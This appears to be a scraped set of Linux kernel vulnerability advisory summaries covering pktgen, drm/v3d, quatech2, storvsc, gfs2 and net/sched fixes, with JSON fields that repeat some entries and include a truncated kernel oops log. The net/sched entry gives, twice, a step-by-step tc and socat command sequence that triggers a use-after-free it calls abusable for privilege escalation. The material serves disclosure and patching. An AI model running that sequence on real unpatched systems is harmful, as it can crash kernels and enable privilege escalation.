pktgen: Avoid out-of-bounds access in get_imix_entries
Summary
In the Linux kernel, the following vulnerability has been resolved:
pktgen: Avoid out-of-bounds access in get_imix_entries
Passing a sufficient amount of imix entries leads to invalid access to the
pkt_dev->imix_entries array because of the incorrect boundary check.

Title
gpio: xilinx: Convert gpio_lock to raw spinlock
Summary
In the Linux kernel, the following vulnerability has been resolved:
gpio: xilinx: Convert gpio_lock to raw spinlock
irq_chip functions may be called in raw spinlock context. Therefore, we
must also use a raw spinlock for our own internal locking.
This fixes the following lockdep splat:

Title
drm/v3d: Assign job pointer to NULL before signaling the fence
Summary
In the Linux kernel, the following vulnerability has been resolved:
drm/v3d: Assign job pointer to NULL before signaling the fence
In commit e4b5ccd392b9 ("drm/v3d: Ensure job pointer is set to NULL
after job completion"), we introduced a change to assign the job pointer
to NULL after completing a job, indicating job completion.
However, this approach created a race condition between the DRM
scheduler workqueue and the IRQ execution thread. As soon as the fence is
signaled in the IRQ execution thread, a new job starts to be executed.
This results in a race condition where the IRQ execution thread sets the
job pointer to NULL simultaneously as the `run_job()` function assigns
a new job to the pointer.
This race condition can lead to a NULL pointer dereference if the IRQ
execution thread sets the job pointer to NULL after `run_job()` assigns
it to the new job. When the new job completes and the GPU emits an
interrupt, `v3d_irq()` is triggered, potentially causing a crash.

"value": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/v3d: Assign job pointer to NULL before signaling the fence\n\nIn commit e4b5ccd392b9 (\"drm/v3d: Ensure job pointer is set to NULL\nafter job completion\"), we introduced a change to assign the job pointer\nto NULL after completing a job, indicating job completion.\n\nHowever, this approach created a race condition between the DRM\nscheduler workqueue and the IRQ execution thread. As soon as the fence is\nsignaled in the IRQ execution thread, a new job starts to be executed.\nThis results in a race condition where the IRQ execution thread sets the\njob pointer to NULL simultaneously as the `run_job()` function assigns\na new job to the pointer.\n\nThis race condition can lead to a NULL pointer dereference if the IRQ\nexecution thread sets the job pointer to NULL after `run_job()` assigns\nit to the new job. When the new job completes and the GPU emits an\ninterrupt, `v3d_irq()` is triggered, potentially causing a crash.\n\n[ 466.310099] Unable to handle kernel NULL pointer dereference at virtual address 00000000000000c0\n[ 466.318928] Mem abort info:\n[ 466.321723] ESR = 0x0000000096000005\n[ 466.325479] EC = 0x25: DABT (current EL), IL = 32 bits\n[ 466.330807] SET = 0, FnV = 0\n[ 466.333864] EA = 0, S1PTW = 0\n[ 466.337010] FSC = 0x05: level 1 translation fault\n[ 466.341900] Data abort info:\n[ 466.344783] ISV = 0, ISS = 0x00000005, ISS2 = 0x00000000\n[ 466.350285] CM = 0, WnR = 0, TnD = 0, TagAccess = 0\n[ 466.355350] GCS = 0, Overlay = 0, DirtyBit = 0, Xs = 0\n[ 466.360677] user pgtable: 4k pages, 39-bit VAs, pgdp=0000000089772000\n[ 466.367140] [00000000000000c0] pgd=0000000000000000, p4d=0000000000000000, pud=0000000000000000\n[ 466.375875] Internal error: Oops: 0000000096000005 [#1] PREEMPT SMP\n[ 466.382163] Modules linked in: rfcomm snd_seq_dummy snd_hrtimer snd_seq snd_seq_device algif_hash algif_skcipher af_alg bnep binfmt_misc vc4 snd_soc_hdmi_codec drm_display_helper cec brcmfmac_wcc spidev rpivid_hevc(C) drm_client_lib brcmfmac hci_uart drm_dma_helper pisp_be btbcm brcmutil snd_soc_core aes_ce_blk v4l2_mem2mem bluetooth aes_ce_cipher snd_compress videobuf2_dma_contig ghash_ce cfg80211 gf128mul snd_pcm_dmaengine videobuf2_memops ecdh_generic sha2_ce ecc videobuf2_v4l2 snd_pcm v3d sha256_arm64 rfkill videodev snd_timer sha1_ce libaes gpu_sched snd videobuf2_common sha1_generic drm_shmem_helper mc rp1_pio drm_kms_helper raspberrypi_hwmon spi_bcm2835 gpio_keys i2c_brcmstb rp1 raspberrypi_gpiomem rp1_mailbox rp1_adc nvmem_rmem uio_pdrv_genirq uio i2c_dev drm ledtrig_pattern drm_panel_orientation_quirks backlight fuse dm_mod ip_tables x_tables ipv6\n[ 466.458429] CPU: 0 UID: 1000 PID: 2008 Comm: chromium Tainted: G C 6.13.0-v8+ #18\n[ 466.467336] Tainted: [C]=CRAP\n[ 466.470306] Hardware name: Raspberry Pi 5 Model B Rev 1.0 (DT)\n[ 466.476157] pstate: 404000c9 (nZcv daIF +PAN -UAO -TCO -DIT -SSBS BTYPE=--)\n[ 466.483143] pc : v3d_irq+0x118/0x2e0 [v3d]\n[ 466.487258] lr : __handle_irq_event_percpu+0x60/0x228\n[ 466.492327] sp : ffffffc080003ea0\n[ 466.495646] x29: ffffffc080003ea0 x28: ffffff80c0c94200 x27: 0000000000000000\n[ 466.502807] x26: ffffffd08dd81d7b x25: ffffff80c0c94200 x24: ffffff8003bdc200\n[ 466.509969] x23: 0000000000000001 x22: 00000000000000a7 x21: 0000000000000000\n[ 466.517130] x20: ffffff8041bb0000 x19: 0000000000000001 x18: 0000000000000000\n[ 466.524291] x17: ffffffafadfb0000 x16: ffffffc080000000 x15: 0000000000000000\n[ 466.531452] x14: 0000000000000000 x13: 0000000000000000 x12: 0000000000000000\n[ 466.538613] x11: 0000000000000000 x10: 0000000000000000 x9 : ffffffd08c527eb0\n[ 466.545777] x8 : 0000000000000000 x7 : 0000000000000000 x6 : 0000000000000000\n[ 466.552941] x5 : ffffffd08c4100d0 x4 : ffffffafadfb0000 x3 : ffffffc080003f70\n[ 466.560102] x2 : ffffffc0829e8058 x1 : 0000000000000001 x0 : 0000000000000000\n[ 466.567263] Call trace:\n[ 466.569711] v3d_irq+0x118/0x2e0 [v3d] (P)\n[ 466.\n---truncated---"

Title
USB: serial: quatech2: fix null-ptr-deref in qt2_process_read_urb()
Summary
In the Linux kernel, the following vulnerability has been resolved:
USB: serial: quatech2: fix null-ptr-deref in qt2_process_read_urb()
This patch addresses a null-ptr-deref in qt2_process_read_urb() due to
an incorrect bounds check in the following:
if (newport > serial->num_ports) {
dev_err(&port->dev,
"%s - port change to invalid port: %i\n",
__func__, newport);
break;
}
The condition doesn't account for the valid range of the serial->port
buffer, which is from 0 to serial->num_ports - 1. When newport is equal
to serial->num_ports, the assignment of "port" in the
following code is out-of-bounds and NULL:
serial_priv->current_port = newport;
port = serial->port[serial_priv->current_port];
The fix checks if newport is greater than or equal to serial->num_ports
indicating it is out-of-bounds.

Title
scsi: storvsc: Ratelimit warning logs to prevent VM denial of service
Summary
In the Linux kernel, the following vulnerability has been resolved:
scsi: storvsc: Ratelimit warning logs to prevent VM denial of service
If there's a persistent error in the hypervisor, the SCSI warning for
failed I/O can flood the kernel log and max out CPU utilization,
preventing troubleshooting from the VM side. Ratelimit the warning so
it doesn't DoS the VM.

Title
drm/v3d: Ensure job pointer is set to NULL after job completion
Summary
In the Linux kernel, the following vulnerability has been resolved:
drm/v3d: Ensure job pointer is set to NULL after job completion
After a job completes, the corresponding pointer in the device must
be set to NULL. Failing to do so triggers a warning when unloading
the driver, as it appears the job is still active. To prevent this,
assign the job pointer to NULL after completing the job, indicating
the job has finished.

Title
gfs2: Truncate address space when flipping GFS2_DIF_JDATA flag
Summary
In the Linux kernel, the following vulnerability has been resolved:
gfs2: Truncate address space when flipping GFS2_DIF_JDATA flag
Truncate an inode's address space when flipping the GFS2_DIF_JDATA flag:
depending on that flag, the pages in the address space will either use
buffer heads or iomap_folio_state structs, and we cannot mix the two.

Title
net: sched: Disallow replacing of child qdisc from one parent to another
Summary
In the Linux kernel, the following vulnerability has been resolved:
net: sched: Disallow replacing of child qdisc from one parent to another
Lion Ackermann was able to create a UAF which can be abused for privilege
escalation with the following script
Step 1. create root qdisc
tc qdisc add dev lo root handle 1:0 drr
step2. a class for packet aggregation do demonstrate uaf
tc class add dev lo classid 1:1 drr
step3. a class for nesting
tc class add dev lo classid 1:2 drr
step4. a class to graft qdisc to
tc class add dev lo classid 1:3 drr
step5.
tc qdisc add dev lo parent 1:1 handle 2:0 plug limit 1024
step6.
tc qdisc add dev lo parent 1:2 handle 3:0 drr
step7.
tc class add dev lo classid 3:1 drr
step 8.
tc qdisc add dev lo parent 3:1 handle 4:0 pfifo
step 9. Display the class/qdisc layout
tc class ls dev lo
class drr 1:1 root leaf 2: quantum 64Kb
class drr 1:2 root leaf 3: quantum 64Kb
class drr 3:1 root leaf 4: quantum 64Kb
tc qdisc ls
qdisc drr 1: dev lo root refcnt 2
qdisc plug 2: dev lo parent 1:1
qdisc pfifo 4: dev lo parent 3:1 limit 1000p
qdisc drr 3: dev lo parent 1:2
step10. trigger the bug <=== prevented by this patch
tc qdisc replace dev lo parent 1:3 handle 4:0
step 11. Redisplay again the qdiscs/classes
tc class ls dev lo
class drr 1:1 root leaf 2: quantum 64Kb
class drr 1:2 root leaf 3: quantum 64Kb
class drr 1:3 root leaf 4: quantum 64Kb
class drr 3:1 root leaf 4: quantum 64Kb
tc qdisc ls
qdisc drr 1: dev lo root refcnt 2
qdisc plug 2: dev lo parent 1:1
qdisc pfifo 4: dev lo parent 3:1 refcnt 2 limit 1000p
qdisc drr 3: dev lo parent 1:2
Observe that a) parent for 4:0 does not change despite the replace request.
There can only be one parent. b) refcount has gone up by two for 4:0 and
c) both class 1:3 and 3:1 are pointing to it.
Step 12. send one packet to plug
echo "" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10001))
step13. send one packet to the grafted fifo
echo "" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10003))
step14. lets trigger the uaf
tc class delete dev lo classid 1:3
tc class delete dev lo classid 1:1
The semantics of "replace" is for a del/add _on the same node_ and not
a delete from one node(3:1) and add to another node (1:3) as in step10.
While we could "fix" with a more complex approach there could be
consequences to expectations so the patch takes the preventive approach of
"disallow such config".

"value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: sched: Disallow replacing of child qdisc from one parent to another\n\nLion Ackermann was able to create a UAF which can be abused for privilege\nescalation with the following script\n\nStep 1. create root qdisc\ntc qdisc add dev lo root handle 1:0 drr\n\nstep2. a class for packet aggregation do demonstrate uaf\ntc class add dev lo classid 1:1 drr\n\nstep3. a class for nesting\ntc class add dev lo classid 1:2 drr\n\nstep4. a class to graft qdisc to\ntc class add dev lo classid 1:3 drr\n\nstep5.\ntc qdisc add dev lo parent 1:1 handle 2:0 plug limit 1024\n\nstep6.\ntc qdisc add dev lo parent 1:2 handle 3:0 drr\n\nstep7.\ntc class add dev lo classid 3:1 drr\n\nstep 8.\ntc qdisc add dev lo parent 3:1 handle 4:0 pfifo\n\nstep 9. Display the class/qdisc layout\n\ntc class ls dev lo\n class drr 1:1 root leaf 2: quantum 64Kb\n class drr 1:2 root leaf 3: quantum 64Kb\n class drr 3:1 root leaf 4: quantum 64Kb\n\ntc qdisc ls\n qdisc drr 1: dev lo root refcnt 2\n qdisc plug 2: dev lo parent 1:1\n qdisc pfifo 4: dev lo parent 3:1 limit 1000p\n qdisc drr 3: dev lo parent 1:2\n\nstep10. trigger the bug \u003c=== prevented by this patch\ntc qdisc replace dev lo parent 1:3 handle 4:0\n\nstep 11. Redisplay again the qdiscs/classes\n\ntc class ls dev lo\n class drr 1:1 root leaf 2: quantum 64Kb\n class drr 1:2 root leaf 3: quantum 64Kb\n class drr 1:3 root leaf 4: quantum 64Kb\n class drr 3:1 root leaf 4: quantum 64Kb\n\ntc qdisc ls\n qdisc drr 1: dev lo root refcnt 2\n qdisc plug 2: dev lo parent 1:1\n qdisc pfifo 4: dev lo parent 3:1 refcnt 2 limit 1000p\n qdisc drr 3: dev lo parent 1:2\n\nObserve that a) parent for 4:0 does not change despite the replace request.\nThere can only be one parent. b) refcount has gone up by two for 4:0 and\nc) both class 1:3 and 3:1 are pointing to it.\n\nStep 12. send one packet to plug\necho \"\" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10001))\nstep13. send one packet to the grafted fifo\necho \"\" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10003))\n\nstep14. lets trigger the uaf\ntc class delete dev lo classid 1:3\ntc class delete dev lo classid 1:1\n\nThe semantics of \"replace\" is for a del/add _on the same node_ and not\na delete from one node(3:1) and add to another node (1:3) as in step10.\nWhile we could \"fix\" with a more complex approach there could be\nconsequences to expectations so the patch takes the preventive approach of\n\"disallow such config\".\n\nJoint work with Lion Ackermann \u003cnnamrec@gmail.com\u003e"
